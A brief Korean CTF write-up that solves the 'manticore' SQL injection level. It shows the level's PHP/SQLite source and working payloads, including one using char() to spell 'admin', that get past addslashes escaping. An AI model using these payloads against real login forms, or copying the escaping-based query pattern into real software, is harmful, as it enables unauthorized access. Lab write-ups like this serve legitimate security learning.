<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/manticore.db");
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id'] == "admin") solve("manticore");
highlight_file(__FILE__);
?>
1.
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
🔹 $_GET[id]
, $_GET[pw]
파라미터 필터링
⭐ addslashes(string str)
매개변수로 넘겨준 문자열 안에 작은 따옴표(')
, 큰 따옴표(")
, 백슬래시(\)
, NULL
가 포함되어 있다면 해당 문자 앞에 백슬래시(\)
를 추가 해주는 함수
id=\&pw=or 1=1 -- -
succubus
문제와 비슷해서 한번 출력해봤더니 그대로 출력은 된다.
id=' or id=char(97,100,109,105,110)-- -
admin
을 char
로 바꿔서 풀었다. (green_dragon
풀이를 참고했다.)